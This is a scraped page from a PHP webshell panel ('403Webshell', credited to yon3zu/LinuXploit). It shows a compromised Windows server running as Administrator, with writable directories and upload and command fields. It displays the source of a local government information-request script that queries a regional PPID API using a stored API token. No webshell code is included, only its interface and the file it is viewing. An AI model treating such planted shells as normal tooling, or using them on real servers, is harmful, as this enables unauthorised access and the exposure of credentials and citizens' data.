403Webshell
Server IP : 127.0.0.1  /  Your IP : 192.168.99.1
Web Server : Apache/2.4.35 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9
System : Windows NT WIN-JEJMB9EN0L0 10.0 build 14393 (Windows Server 2016) AMD64
User : Administrator ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /laragon4/www/bpkd.test_/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /laragon4/www//bpkd.test_/daftar-pemohon-cari.php
<?php
require_once 'includes/tokenkab.php';

// Ambil data dari POST
$id_permohonan = isset($_POST['id_permohonan']) ? $_POST['id_permohonan'] : '';

if (empty($id_permohonan)) {
    echo json_encode(['error' => 'ID tidak ditemukan']);
    exit;
}

$curl = curl_init();
curl_setopt_array($curl, array(
    CURLOPT_URL => 'https://ppid.lumajangkab.go.id/api/v2/permohonan_informasi/tampil',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => array(
        'type' => 'detail',
        'belum_dijawab' => 0,
        'id_permohonan' => $id_permohonan
    ),
    CURLOPT_HTTPHEADER => array(
        'Token-Api: ' . $token_dip
    ),
));

$response = curl_exec($curl);
$http_code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);

if ($http_code == 200) {
    $json = json_decode($response, true);
    if (isset($json['data'])) {
        $out = [
            'nama_pemohon' => $json['data']['nama_pemohon'],
            'alamat_pemohon' => $json['data']['alamat'],
            'informasi_diminta' => $json['data']['informasi_diminta'],
            'waktu_permohonan' => $json['data']['waktu'],
            'waktu_menanggapi' => isset($json['data']['waktu_jawab']) ? $json['data']['waktu_jawab'] : 'Belum ada tanggapan',
            'tanggapan' => isset($json['data']['jawaban']) ? $json['data']['jawaban'] : 'Belum ada tanggapan',
        ];
    } else {
        $out = ['error' => 'Data tidak ditemukan'];
    }
} else {
    $out = ['error' => 'Gagal mengambil data dari API. HTTP Code: ' . $http_code];
}

header('Content-Type: application/json');
echo json_encode($out);
?>

Youez - 2016 - github.com/yon3zu
LinuXploit